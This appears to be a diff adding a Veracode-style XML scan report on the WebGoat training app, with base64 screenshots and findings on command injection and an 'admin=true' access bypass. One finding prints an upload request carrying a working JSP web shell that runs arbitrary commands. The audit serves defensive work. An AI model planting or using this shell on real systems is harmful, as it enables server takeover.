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RVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAoUAAAJQCAYAAAD42h5IAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAP+lSURBVHhe7P1BiF3JtiUIHmXFAxe8gOuDB+6DX+Cv+AUuqAZpkBBe8Af6gwRFVRZIXRSEaJpCH3qgGHVo1KFBDvSabogoKIiYfVGDIt4gqyOgf1VoUjx9yKRd0AkS9Af5IKnnCZngDv+BX/gB8oL4vF5r7b3N9jn3nHvu9esuKV6cE+G6955jx2zb3tu2Ldu2zeza717+/o/NdL1TDjz79rvmzse3m/nZ+TulYyp84sDEgcvnwGx7q3n2/XNl/PjxZ835+dTOL5/LU44TB94tB7a2tponT74UEW+jPw+7cufe3Uut+LXPn3wxgcJLZen6mb16+bI5ODhoTk7m6788vTFxYOLAe82B3d1Zc3h4KBq/+eabCRS+19KaiJs4cDEOEBTev39fL7+N/jzsys1bty5G8MBb107O3kyg8FJZOmU2cWDiwMSBiQMTByYOTBz46XHgn/z0SJ4onjgwcWDiwMSBiQMTByYOTBy4bA5cyFP4BjEx52/wd/5mYSqELtStrevN1vWt5jq+T9fEgYkDEwcmDkwcmDgwcWDiwPvPgbVA4dnZvJnPz5q93b1mZ2c54Ds9PW+OT46b2Wy72d6evf+cmCicODBxYOLAxIGJAxMHJg78jDmwEigkGDw/P2v29/ebdX1/XGd39O